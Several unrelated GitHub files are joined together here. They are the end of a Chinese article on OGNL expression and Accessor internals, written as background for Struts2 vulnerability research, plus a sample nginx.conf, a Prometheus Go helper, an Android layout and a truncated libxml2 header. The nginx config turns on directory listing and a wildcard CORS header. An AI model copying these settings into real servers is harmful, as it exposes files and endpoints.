遍历`ElementsAccessor.getElements()`结果,依次作为source传入第一个子节点计算,结果放入ArrayList对象,遍历结束后返回
1. ASTProperty
- 表现形式
- `one`
- `[one]` *(Indexed类型)*
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
调用`getProperty()`对第一个子节点求值,结果作为name传入`OgnlRuntime.getProperty()`,返回执行结果
- `protected void setValueBody(OgnlContext, Object, Object)`
调用`OgnlRuntime.setProperty()`方法
- `public boolean isNodeSimpleProperty(OgnlContext)`
返回第一个子节点的`isConstant()`结果
1. ASTSelect
- 表现形式
- `{? one }`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
遍历`ElementsAccessor.getElements()`结果,依次作为source传入第一个子节点计算,结果通过`OgnlOps.booleanValue()`判断真假,真则放入ArrayList对象,遍历结束后返回ArrayList
1. ASTSelectFirst
- 表现形式
- `{^ one }`
- 实现/重写方法
- `protected void getValueBody(OgnlContext, Object)`
遍历`ElementsAccessor.getElements()`结果,依次作为source传入第一个子节点计算,结果通过`OgnlOps.booleanValue()`判断真假,真则放入ArrayList对象并跳出遍历,遍历结束后返回ArrayList
1. ASTSelectLast
- 表现形式
- `{$ one }`
- 实现/重写方法
- `protected void getValueBody(OgnlContext, Object)`
遍历`ElementsAccessor.getElements()`结果,依次作为source传入第一个子节点计算,结果通过`OgnlOps.booleanValue()`判断真假,真则清空ArrayList对象并放入,遍历结束后返回ArrayList
1. ASTSequence
- 表现形式
- `one, two`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
遍历子节点计算,返回最后一个子节点的计算结果
- `protected Object setValueBody(OgnlContext, Object, Object)`
遍历最后一个子节点外的其他子节点计算,调用最后一个子节点的`setValue()`方法
1. ASTStaticField
- 表现形式
- `@one@two`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
调用`OgnlRuntime.getStaticField()`方法
- `public boolean isNodeConstant(OgnlContext)`
如果字段名称为『class』或类是Enum类型,直接返回`true`,否则通过反射判断是否为静态字段,返回判断结果
1. ASTStaticMethod
- 表现形式
- `@one@two()` *(无参方法)*
- `@one@two(three, four)` *(含参方法)*
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
遍历子节点计算,结果放入args数组变量,并传入`OgnlRuntime.callStaticMethod()`方法,返回执行结果
1. ASTVarRef
- 表现形式
- `#one`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
调用`OgnlContext.get()`方法
- `protected void getValueBody(OgnlContext, Object, Object)`
调用`OgnlContext.set()`方法
1. ASTRootVarRef
- 表现形式
- `#root`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
调用`OgnlContext.getRoot()`方法
- `protected void setValueBody(OgnlContext, Object, Object)`
调用`OgnlContext.setRoot()`方法
1. ASTThisVarRef
- 表现形式
- `#this`
- 实现/重写方法
- `protected Object getValueBody(OgnlContext, Object)`
调用`OgnlContext.getCurrentObject()`方法
- `protected void setValueBody(OgnlContext, Object, Object)`
调用`OgnlContext.setCurrentObject()`方法
*(ASTNode中的ExpressionNode和它的子类,表示的是各种运算、关系表达式,对本文结论的影响不是特别大,因此就先搁置不再进行仔细分析了,感兴趣的同学继续加油努力,可以考虑共享成果:))*
## OGNL Accessor
在问题3中,还提到了Accessor类型的差异,也会影响OGNL最终的执行结果,因为大多时候 *(Property赋值/取值,Method调用)* ,是由它们去处理执行真正的操作,因此再坚持一下,简单快速的来看看这些Accessor。
OGNL中大致分为Method、Property和Elements三类Accessor,而XWork主要针对Method和Property两类进行了实现,下文以Struts2为主,罗列一下其中主要的Accessor类型。
*(本章节以xwork-core-2.3.33为分析对象,主要描述关系,其中的逻辑细节就不在本文描述了,老版本的xwork在包结构上差异较大,请自行比对)*
还是从爸爸开始:
1. _PropertyAccessor_
- 类型
- 接口
- 主要方法
- `Object getProperty(Map, Object, Object)`
- `void setProperty(Map, Object, Object, Object)`
1. _MethodAccessor_
- 类型
- 接口
- 主要方法
- `Object callStaticMethod(Map, Class, String, Object[])`
- `Object callMethod(Map, Object, String, Object[])`
1. ObjectPropertyAccessor
- 类型
- 实现了PropertyAccessor
- 主要方法
- `public Object getProperty(Map, Object, Object)`
- `public void setProperty(Map, Object, Object, Object)`
- `public Class getPropertyClass(OgnlContext, Object, Object)`
1. ObjectMethodAccessor
- 类型
- 实现了MethodAccessor
- 主要方法
- `public Object callStaticMethod(Map, Class, String, Object[])`
- `public Object callMethod(Map, Object, String, Object[])`
一小波儿子们:
1. CompoundRootAccessor
- 类型
- 实现了PropertyAccessor、MethodAccessor
- 实现/重写方法
- `public void getProperty(Map, Object, Object)`
- `public void setProperty(Map, Object, Object, Object)`
- `public Object callMethod(Map, Object, String, Object[])`
- `public Object callStaticMethod(Map, Class, String, Object[])`
1. ObjectAccessor
- 类型
- 型继承于ObjectPropertyAccessor
- 实现/重写方法
- `public void getProperty(Map, Object, Object)`
- `public void setProperty(Map, Object, Object, Object)`
1. ObjectProxyPropertyAccessor
- 类型
- 实现了PropertyAccessor
- 实现/重写方法
- `public void getProperty(Map, Object, Object)`
- `public void setProperty(Map, Object, Object, Object)`
1. XWorkCollectionPropertyAccessor
- 类型
- 继承于SetPropertyAccessor *(继承于ObjectPropertyAccessor)*
- 实现/重写方法
- `public void getProperty(Map, Object, Object)`
- `public void setProperty(Map, Object, Object, Object)`
1. XWorkEnumerationAccessor
- 类型
- 继承于EnumerationPropertyAccessor *(继承于ObjectPropertyAccessor)*
- 实现/重写方法
- `public void setProperty(Map, Object, Object, Object)`
1. XWorkIteratorPropertyAccessor
- 类型
- 继承于IteratorPropertyAccessor *(继承于ObjectPropertyAccessor)*
- 实现/重写方法
- `public void setProperty(Map, Object, Object, Object)`
1. XWorkListPropertyAccessor
- 类型
- 继承于ListPropertyAccessor *(继承于ObjectPropertyAccessor,实现了PropertyAccessor)*
- 实现/重写方法
- `public Object getProperty(Map, Object, Object)`
- `public void setProperty(Map, Object, Object, Object)`
1. XWorkMapPropertyAccessor
- 类型
- 继承于MapPropertyAccessor *(实现了PropertyAccessor)*
- 实现/重写方法
- `public Object getProperty(Map, Object, Object)`
- `public void setProperty(Map, Object, Object, Object)`
1. XWorkMethodAccessor
- 类型
- 继承于ObjectMethodAccessor *(实现了MethodAccessor)*
- 实现/重写方法
- `public Object callMethod(Map, Object, String, Object[])`
- `public Object callStaticMethod(Map, Class, String, Object[])`
1. XWorkObjectPropertyAccessor
- 类型
- 继承于ObjectPropertyAccessor
- 实现/重写方法
- `public Object getProperty(Map, Object, Object)`
### 设置和获取
在跟踪分析S2-005解决问题3的过程中,发现XWork框架初始化 *(Struts2框架初始化流程中)* 时,在`DefaultConfiguration.reloadContainer()`方法中调用了`DefaultConfiguration.createBootstrapContainer()`方法,后者在创建完一堆工厂后调用`ContainerBuilder.create()`方法,随后触发OgnlValueStackFactory中配置了`@Inject`的`setContainer()`方法,它很重要的一部分逻辑就是将在XWork中定义的Accessor按类型设置进OgnlRuntime中的三个静态变量`_methodAccessors`、`_propertyAccessors`和`_elementsAccessors`中 *(请注意:当前调试环境为S2-005影响的struts2-core-2.1.8和xwork-core-2.1.6,版本较老,只为简单描述过程,新版如有差异,请自行比对)* :
当然,在上述过程中,只设置了一个:
1. PropertyAccessor
- `com.opensymphony.xwork2.util.CompoundRoot` -> `CompoundRootAccessor`
而OgnlRuntime会为常见数据类型设置对应的Accessor *(OGNL原生)* ,这是OgnlRuntime类初始化阶段的工作,基于Java的类加载机制可知,它将会在上述过程中的第一次`OgnlRuntime.setPropertyAccessor()`之前完成。
当XWork框架初始化流程继续执行到`StrutsObjectFactory.buildInterceptor()`方法时,又调用了`ObjectFactory.buildBean()`方法,后者也触发了`OgnlValueStackFactory.setContainer()`方法,进行了下面的设置 *(实际调用链较长,只描述关键点,感兴趣的可以跟踪一下)* :
1. PropertyAccessor
- `java.util.Enumeration` -> `XWorkEnumerationAccessor`
- `java.util.ArrayList` -> `XWorkListPropertyAccessor`
- `java.util.Iterator` -> `XWorkIteratorPropertyAccessor`
- `java.lang.Object` -> `ObjectAccessor`
- `java.util.Map` -> `XWorkMapPropertyAccessor`
- `java.util.List` -> `XWorkListPropertyAccessor`
- `java.util.HashSet` -> `XWorkCollectionPropertyAccessor`
- `com.opensymphony.xwork2.util.CompoundRoot` -> `CompoundRootAccessor`
- `java.util.Set` -> `XWorkCollectionPropertyAccessor`
- `java.util.HashMap` -> `XWorkMapPropertyAccessor`
- `java.util.Collection` -> `XWorkCollectionPropertyAccessor`
- `com.opensymphony.xwork2.ognl.ObjectProxy` -> `ObjectProxyPropertyAccessor`
1. MethodAccessor
- `java.lang.Object` -> `XWorkMethodAccessor`
- `com.opensymphony.xwork2.util.CompoundRoot` -> `CompoundRootAccessor`
至此,Accessor的设置工作结束。
Accessor的获取则是根据需要调用OgnlRuntime中对应的`getter()`方法即可,如`getPropertyAccessor()`方法。
三个静态变量都是ClassCacheImpl类型 *(实现了ClassCache接口)* ,其中内置的`_table`字段用于存储实际内容,是一个Entry类型,类似于Map的key-value形式,默认大小512,key为Class类型,value为Object类型,按key的HashCode相对位置计算值 *(`key.hashCode() & (512 - 1)`)* 顺序存储 *(可参考Hash Table数据结构,解决位置冲突的方案也类似Linked Lists,每个Entry类型中包含一个`next`字段,可用于在位置冲突时指向存储在同位置的下一个元素)* ,类型本身线程不安全,OgnlRuntime在包装put/get操作时加了锁。
因此,Accessor的put/get操作基本可以参考Map类型。
## 结语
OGNL作为XWork框架的底层核心基石之一,它强大的功能特性让依托于XWork的Struts2成为当时非常流行的JavaEE开发框架。
因此,了解OGNL特性和内部处理逻辑,以及它与上层框架之间的交互逻辑,会对我们在Struts2,甚至XWork框架的安全研究工作上有非常大的帮助,例如本文主体讨论的表达式求值,就被很巧妙的利用在了S2-003以及之后的很多漏洞上,而且时间轴还非常靠前。
> 这就是一个安全研究员的内功修为,请这些大牛们收下一个身为程序员的我的膝盖。
## 参考
1. [CVE-2010-1870: Struts2/XWork remote command execution](http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html)
1. [CVE-2011-3923: Yet another Struts2 Remote Code Execution](http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html)
1. [Apache Commons OGNL - Language Guide](http://commons.apache.org/proper/commons-ognl/language-guide.html)
1. [OGNL Expression Compilation](http://struts.apache.org/docs/ognl-expression-compilation.html)
| {
"pile_set_name": "Github"
} |
#Nginx所用用户和组,window下不指定
#user nobody;
#工作的子进程数量(通常等于CPU数量或者2倍于CPU)
worker_processes 2;
#错误日志存放路径
#error_log logs/error.log;
#error_log logs/error.log notice;
error_log logs/error.log info;
#指定pid存放文件
pid logs/nginx.pid;
#master_process off; # 简化调试 此指令不得用于生产环境
#daemon off; # 简化调试 此指令可以用到生产环境
#最大文件描述符
worker_rlimit_nofile 51200;
events {
#使用网络IO模型linux建议epoll,FreeBSD建议采用kqueue,window下不指定。
#use epoll;
#允许最大连接数
worker_connections 2048;
}
# load modules compiled as Dynamic Shared Object (DSO)
#
#dso {
# load ngx_http_fastcgi_module.so;
# load ngx_http_rewrite_module.so;
#}
http {
include mime.types;
#反向代理配置
include proxy.conf;
include gzip.conf;
default_type application/octet-stream;
#定义日志格式
log_format main '$remote_addr - $remote_user [$time_local] $request '
'"$status" $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
#access_log off;
access_log logs/access.log main;
client_header_timeout 3m;
client_body_timeout 3m;
send_timeout 3m;
client_header_buffer_size 1k;
large_client_header_buffers 4 4k;
#允许客户端请求的最大单文件字节数
client_max_body_size 10m;
#缓冲区代理缓冲用户端请求的最大字节数,
client_body_buffer_size 128k;
client_body_in_single_buffer on;
sendfile on;
#tcp_nopush on;
#tcp_nodelay on;
keepalive_timeout 65;
##for genarate uuid
#lua_package_path 'uuid4.lua';
#init_by_lua '
# uuid4 = require "uuid4"
#';
upstream upstream_test{
server 127.0.0.1:8080;
#ip_hash;
keepalive 30;
## tengine config
#check interval=300 rise=10 fall=10 timeout=100 type=http port=80;
#check_http_send "GET / HTTP/1.0\r\n\r\n";
#check_http_expect_alive http_2xx http_3xx;
## tengine config
#session_sticky cookie=cookieTest mode=insert;
}
server {
listen 80;
server_name domain.com somename alias another.alias;
if ($host !~* www.domain.com) { #如果访问时没有加www,则跳转至www.domain.com
rewrite ^(.*)$ http://www.domain.com/$1 permanent;
}
location / {
autoindex on; #允许目录浏览
autoindex_exact_size off; #显示文件大概大小
autoindex_localtime on; #显示的文件时间为文件的服务器时间,off则为GMT时间
limit_rate_after 10m; #10m之后下载速度为10k
limit_rate 10k;
root html;
index index.html index.htm;
}
location /proxy {
proxy_pass http://upstream_test;
#配置跨域访问
add_header 'Access-Control-Allow-Headers' 'Content-Type';
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Methods' 'GET';
add_header 'Access-Control-Expose-Headers' 'Access-Control-Allow-Origin,Access-Control-Allow-Credentials';
}
location ^~ /resources/ {
alias /data/resources/;
access_log off;
expires 30d;
}
## for images、html static files
location ~* ^/static/.*\.(jpg|jpeg|gif|png|html|htm|swf)$ {
root /data/static/;
access_log off;
expires 30d;
}
## for js、css static files
location ~* \.(js|css)$ {
root /data/static/;
access_log off;
expires 1d;
}
## nginx lua example
#location /test-uuid{
# set_by_lua $uuid 'return uuid4.getUUID() ';
# echo $uuid;
#}
#location /test-io{
# set_by_lua $uuid '
# local t = io.popen("cat /data/test")
# return t:read("*all")
# ';
# echo $uuid;
#}
#location /inline_concat {
# MIME type determined by default_type:
# default_type 'text/plain';
# set $a "hello";
# set $b "world";
# inline Lua script
# set_by_lua $res "return ngx.arg[1]..ngx.arg[2]" $a $b;
# echo $res;
#}
#location /lua_test{
# default_type 'text/plain';
# content_by_lua '
# if jit then
# ngx.say(jit.version)
# else
# ngx.say(_VERSION)
# end
# ';
#}
location /nginx_status {
stub_status on;
access_log off;
allow 127.0.0.1;#设置为可访问该状态信息的ip
deny all;
}
## tengine upstream status
#location /upstream_status {
# check_status;
# access_log off;
# allow 127.0.0.1;
# deny all;
#}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
## rewrite example
#server {
# listen 8090;
# server_name 127.0.0.1;
# location / {
# rewrite ^(.*) http://125.76.215.230/test/ last;
# }
#}
# HTTPS server
#
#server {
# listen 443 ssl;
# server_name localhost;
# ssl_certificate cert.pem;
# ssl_certificate_key cert.key;
# ssl_session_cache shared:SSL:1m;
# ssl_session_timeout 5m;
# ssl_ciphers HIGH:!aNULL:!MD5;
# ssl_prefer_server_ciphers on;
# location / {
# root html;
# index index.html index.htm;
# }
#}
}
| {
"pile_set_name": "Github"
} |
// Copyright 2018 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// +build linux,!appengine
package util
import (
"bytes"
"os"
"syscall"
)
// SysReadFile is a simplified ioutil.ReadFile that invokes syscall.Read directly.
// https://github.com/prometheus/node_exporter/pull/728/files
//
// Note that this function will not read files larger than 128 bytes.
func SysReadFile(file string) (string, error) {
f, err := os.Open(file)
if err != nil {
return "", err
}
defer f.Close()
// On some machines, hwmon drivers are broken and return EAGAIN. This causes
// Go's ioutil.ReadFile implementation to poll forever.
//
// Since we either want to read data or bail immediately, do the simplest
// possible read using syscall directly.
const sysFileBufferSize = 128
b := make([]byte, sysFileBufferSize)
n, err := syscall.Read(int(f.Fd()), b)
if err != nil {
return "", err
}
return string(bytes.TrimSpace(b[:n])), nil
}
| {
"pile_set_name": "Github"
} |
<!--
Copyright (C) 2016 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<TextView
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceSmall" /> | {
"pile_set_name": "Github"
} |
/*
* Summary: internals routines and limits exported by the parser.
* Description: this module exports a number of internal parsing routines
* they are not really all intended for applications but
* can prove useful doing low level processing.
*
* Copy: See Copyright for the status of this software.
*
* Author: Daniel Veillard
*/
#ifndef __XML_PARSER_INTERNALS_H__
#define __XML_PARSER_INTERNALS_H__
#include <libxml/xmlversion.h>
#include <libxml/parser.h>
#include <libxml/HTMLparser.h>
#include <libxml/chvalid.h>
#ifdef __cplusplus
extern "C" {
#endif
/**
* xmlParserMaxDepth:
*
* arbitrary depth limit for the XML documents that we allow to
* process. This is not a limitation of the parser but a safety
* boundary feature, use XML_PARSE_HUGE option to override it.
*/
XMLPUBVAR unsigned int xmlParserMaxDepth;
/**
* XML_MAX_TEXT_LENGTH:
*
* Maximum size allowed for a single text node when building a tree.
* This is not a limitation of the parser but a safety boundary feature,
* use XML_PARSE_HUGE option to override it.
* Introduced in 2.9.0
*/
#define XML_MAX_TEXT_LENGTH 10000000
/**
* XML_MAX_NAME_LENGTH:
*
* Maximum size allowed for a markup identitier
* This is not a limitation of the parser but a safety boundary feature,
* use XML_PARSE_HUGE option to override it.
* Note that with the use of parsing dictionaries overriding the limit
* may result in more runtime memory usage in face of "unfriendly' content
* Introduced in 2.9.0
*/
#define XML_MAX_NAME_LENGTH 50000
/**
* XML_MAX_DICTIONARY_LIMIT:
*
* Maximum size allowed by the parser for a dictionary by default
* This is not a limitation of the parser but a safety boundary feature,
* use XML_PARSE_HUGE option to override it.
* Introduced in 2.9.0
*/
#define XML_MAX_DICTIONARY_LIMIT 10000000
/**
* XML_MAX_LOOKUP_LIMIT:
*
* Maximum size allowed by the parser for ahead lookup
* This is an upper boundary enforced by the parser to avoid bad
* behaviour on "unfriendly' content
* Introduced in 2.9.0
*/
#define XML_MAX_LOOKUP_LIMIT 10000000
/**
* XML_MAX_NAMELEN:
*
* Identifiers can be longer, but this will be more costly
* at runtime.
*/
#define XML_MAX_NAMELEN 100
/**
* INPUT_CHUNK:
*
* The parser tries to always have that amount of input ready.
* One of the point is providing context when reporting errors.
*/
#define INPUT_CHUNK 250
/************************************************************************
* *
* UNICODE version of the macros. *
* *
************************************************************************/
/**
* IS_BYTE_CHAR:
* @c: an byte value (int)
*
* Macro to check the following production in the XML spec:
*
* [2] Char ::= #x9 | #xA | #xD | [#x20...]
* any byte character in the accepted range
*/
#define IS_BYTE_CHAR(c) xmlIsChar_ch(c)
/**
* IS_CHAR:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
* [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD]
* | [#x10000-#x10FFFF]
* any Unicode character, excluding the surrogate blocks, FFFE, and FFFF.
*/
#define IS_CHAR(c) xmlIsCharQ(c)
/**
* IS_CHAR_CH:
* @c: an xmlChar (usually an unsigned char)
*
* Behaves like IS_CHAR on single-byte value
*/
#define IS_CHAR_CH(c) xmlIsChar_ch(c)
/**
* IS_BLANK:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
* [3] S ::= (#x20 | #x9 | #xD | #xA)+
*/
#define IS_BLANK(c) xmlIsBlankQ(c)
/**
* IS_BLANK_CH:
* @c: an xmlChar value (normally unsigned char)
*
* Behaviour same as IS_BLANK
*/
#define IS_BLANK_CH(c) xmlIsBlank_ch(c)
/**
* IS_BASECHAR:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
* [85] BaseChar ::= ... long list see REC ...
*/
#define IS_BASECHAR(c) xmlIsBaseCharQ(c)
/**
* IS_DIGIT:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
* [88] Digit ::= ... long list see REC ...
*/
#define IS_DIGIT(c) xmlIsDigitQ(c)
/**
* IS_DIGIT_CH:
* @c: an xmlChar value (usually an unsigned char)
*
* Behaves like IS_DIGIT but with a single byte argument
*/
#define IS_DIGIT_CH(c) xmlIsDigit_ch(c)
/**
* IS_COMBINING:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
* [87] CombiningChar ::= ... long list see REC ...
*/
#define IS_COMBINING(c) xmlIsCombiningQ(c)
/**
* IS_COMBINING_CH:
* @c: an xmlChar (usually an unsigned char)
*
* Always false (all combining chars > 0xff)
*/
#define IS_COMBINING_CH(c) 0
/**
* IS_EXTENDER:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
*
* [89] Extender ::= #x00B7 | #x02D0 | #x02D1 | #x0387 | #x0640 |
* #x0E46 | #x0EC6 | #x3005 | [#x3031-#x3035] |
* [#x309D-#x309E] | [#x30FC-#x30FE]
*/
#define IS_EXTENDER(c) xmlIsExtenderQ(c)
/**
* IS_EXTENDER_CH:
* @c: an xmlChar value (usually an unsigned char)
*
* Behaves like IS_EXTENDER but with a single-byte argument
*/
#define IS_EXTENDER_CH(c) xmlIsExtender_ch(c)
/**
* IS_IDEOGRAPHIC:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
*
* [86] Ideographic ::= [#x4E00-#x9FA5] | #x3007 | [#x3021-#x3029]
*/
#define IS_IDEOGRAPHIC(c) xmlIsIdeographicQ(c)
/**
* IS_LETTER:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
*
* [84] Letter ::= BaseChar | Ideographic
*/
#define IS_LETTER(c) (IS_BASECHAR(c) || IS_IDEOGRAPHIC(c))
/**
* IS_LETTER_CH:
* @c: an xmlChar value (normally unsigned char)
*
* Macro behaves like IS_LETTER, but only check base chars
*
*/
#define IS_LETTER_CH(c) xmlIsBaseChar_ch(c)
/**
* IS_ASCII_LETTER:
* @c: an xmlChar value
*
* Macro to check [a-zA-Z]
*
*/
#define IS_ASCII_LETTER(c) (((0x41 <= (c)) && ((c) <= 0x5a)) || \
((0x61 <= (c)) && ((c) <= 0x7a)))
/**
* IS_ASCII_DIGIT:
* @c: an xmlChar value
*
* Macro to check [0-9]
*
*/
#define IS_ASCII_DIGIT(c) ((0x30 <= (c)) && ((c) <= 0x39))
/**
* IS_PUBIDCHAR:
* @c: an UNICODE value (int)
*
* Macro to check the following production in the XML spec:
*
*
* [13] PubidChar ::= #x20 | #xD | #xA | [a-zA-Z0-9] | [-'()+,./:=?;!*#@$_%]
*/
#define IS_PUBIDCHAR(c) xmlIsPubidCharQ(c)
/**
* IS_PUBIDCHAR_CH:
* @c: an xmlChar value (normally unsigned char)
*
* Same as IS_PUBIDCHAR but for single-byte value
*/
#define IS_PUBIDCHAR_CH(c) xmlIsPubidChar_ch(c)
/**
* SKIP_EOL:
* @p: and UTF8 string pointer
*
* Skips the end of line chars.
*/
#define SKIP_EOL(p) \
if (*(p) == 0x13) { p++ ; if (*(p) == 0x10) p++; } \
if (*(p) == 0x10) { p++ ; if (*(p) == 0x13) p++; }
/**
* MOVETO_ENDTAG:
* @p: and UTF8 string pointer
*
* Skips to the next '>' char.
*/
#define MOVETO_ENDTAG(p) \
while ((*p) && (*(p) != '>')) (p)++
/**
* MOVETO_STARTTAG:
* @p: and UTF8 string pointer
*
* Skips to the next '<' char.
*/
#define MOVETO_STARTTAG(p) \
while ((*p) && (*(p) != '<')) (p)++
/**
* Global variables used for predefined strings.
*/
XMLPUBVAR const xmlChar xmlStringText[];
XMLPUBVAR const xmlChar xmlStringTextNoenc[];
XMLPUBVAR const xmlChar xmlStringComment[];
/*
* Function to finish the work of the macros where needed.
*/
XMLPUBFUN int XMLCALL xmlIsLetter (int c);
/**
* Parser context.
*/
XMLPUBFUN xmlParserCtxtPtr XMLCALL
xmlCreateFileParserCtxt (const char *filename);
XMLPUBFUN xmlParserCtxtPtr XMLCALL
xmlCreateURLParserCtxt (const char *filename,
int options);
XMLPUBFUN xmlParserCtxtPtr XMLCALL
xmlCreateMemoryParserCtxt(const char *buffer,
int size);
XMLPUBFUN xmlParserCtxtPtr XMLCALL
xmlCreateEntityParserCtxt(const xmlChar *URL,
const xmlChar *ID,
const xmlChar *base);
XMLPUBFUN int XMLCALL
xmlSwitchEncoding (xmlParserCtxtPtr ctxt,
xmlCharEncoding enc);
XMLPUBFUN int XMLCALL
xmlSwitchToEncoding (xmlParserCtxtPtr ctxt,
xmlCharEncodingHandlerPtr handler);
XMLPUBFUN int XMLCALL
xmlSwitchInputEncoding (xmlParserCtxtPtr ctxt,
xmlParserInputPtr input,
xmlCharEncodingHandlerPtr handler);
#ifdef IN_LIBXML
/* internal error reporting */
XMLPUBFUN void XMLCALL
__xmlErrEncoding (xmlParserCtxtPtr ctxt,
xmlParserErrors xmlerr,
const char *msg,
const xmlChar * str1,
const xmlChar * str2);
#endif
/**
* Input Streams.
*/
XMLPUBFUN xmlParserInputPtr XMLCALL
xmlNewStringInputStream (xmlParserCtxtPtr ctxt,
const xmlChar *buffer);
XMLPUBFUN xmlParserInputPtr XMLCALL
xmlNewEntityInputStream (xmlParserCtxtPtr ctxt,
xmlEntityPtr entity);
XMLPUBFUN int XMLCALL
xmlPushInput (xmlParserCtxtPtr ctxt,
xmlParserInputPtr input);
XMLPUBFUN xmlChar XMLCALL
xmlPopInput (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlFreeInputStream (xmlParserInputPtr input);
XMLPUBFUN xmlParserInputPtr XMLCALL
xmlNewInputFromFile (xmlParserCtxtPtr ctxt,
const char *filename);
XMLPUBFUN xmlParserInputPtr XMLCALL
xmlNewInputStream (xmlParserCtxtPtr ctxt);
/**
* Namespaces.
*/
XMLPUBFUN xmlChar * XMLCALL
xmlSplitQName (xmlParserCtxtPtr ctxt,
const xmlChar *name,
xmlChar **prefix);
/**
* Generic production rules.
*/
XMLPUBFUN const xmlChar * XMLCALL
xmlParseName (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlParseNmtoken (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlParseEntityValue (xmlParserCtxtPtr ctxt,
xmlChar **orig);
XMLPUBFUN xmlChar * XMLCALL
xmlParseAttValue (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlParseSystemLiteral (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlChar * XMLCALL
xmlParsePubidLiteral (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseCharData (xmlParserCtxtPtr ctxt,
int cdata);
XMLPUBFUN xmlChar * XMLCALL
xmlParseExternalID (xmlParserCtxtPtr ctxt,
xmlChar **publicID,
int strict);
XMLPUBFUN void XMLCALL
xmlParseComment (xmlParserCtxtPtr ctxt);
XMLPUBFUN const xmlChar * XMLCALL
xmlParsePITarget (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParsePI (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseNotationDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseEntityDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL
xmlParseDefaultDecl (xmlParserCtxtPtr ctxt,
xmlChar **value);
XMLPUBFUN xmlEnumerationPtr XMLCALL
xmlParseNotationType (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlEnumerationPtr XMLCALL
xmlParseEnumerationType (xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL
xmlParseEnumeratedType (xmlParserCtxtPtr ctxt,
xmlEnumerationPtr *tree);
XMLPUBFUN int XMLCALL
xmlParseAttributeType (xmlParserCtxtPtr ctxt,
xmlEnumerationPtr *tree);
XMLPUBFUN void XMLCALL
xmlParseAttributeListDecl(xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlElementContentPtr XMLCALL
xmlParseElementMixedContentDecl
(xmlParserCtxtPtr ctxt,
int inputchk);
XMLPUBFUN xmlElementContentPtr XMLCALL
xmlParseElementChildrenContentDecl
(xmlParserCtxtPtr ctxt,
int inputchk);
XMLPUBFUN int XMLCALL
xmlParseElementContentDecl(xmlParserCtxtPtr ctxt,
const xmlChar *name,
xmlElementContentPtr *result);
XMLPUBFUN int XMLCALL
xmlParseElementDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseMarkupDecl (xmlParserCtxtPtr ctxt);
XMLPUBFUN int XMLCALL
xmlParseCharRef (xmlParserCtxtPtr ctxt);
XMLPUBFUN xmlEntityPtr XMLCALL
xmlParseEntityRef (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseReference (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParsePEReference (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseDocTypeDecl (xmlParserCtxtPtr ctxt);
#ifdef LIBXML_SAX1_ENABLED
XMLPUBFUN const xmlChar * XMLCALL
xmlParseAttribute (xmlParserCtxtPtr ctxt,
xmlChar **value);
XMLPUBFUN const xmlChar * XMLCALL
xmlParseStartTag (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseEndTag (xmlParserCtxtPtr ctxt);
#endif /* LIBXML_SAX1_ENABLED */
XMLPUBFUN void XMLCALL
xmlParseCDSect (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
xmlParseContent (xmlParserCtxtPtr ctxt);
XMLPUBFUN void XMLCALL
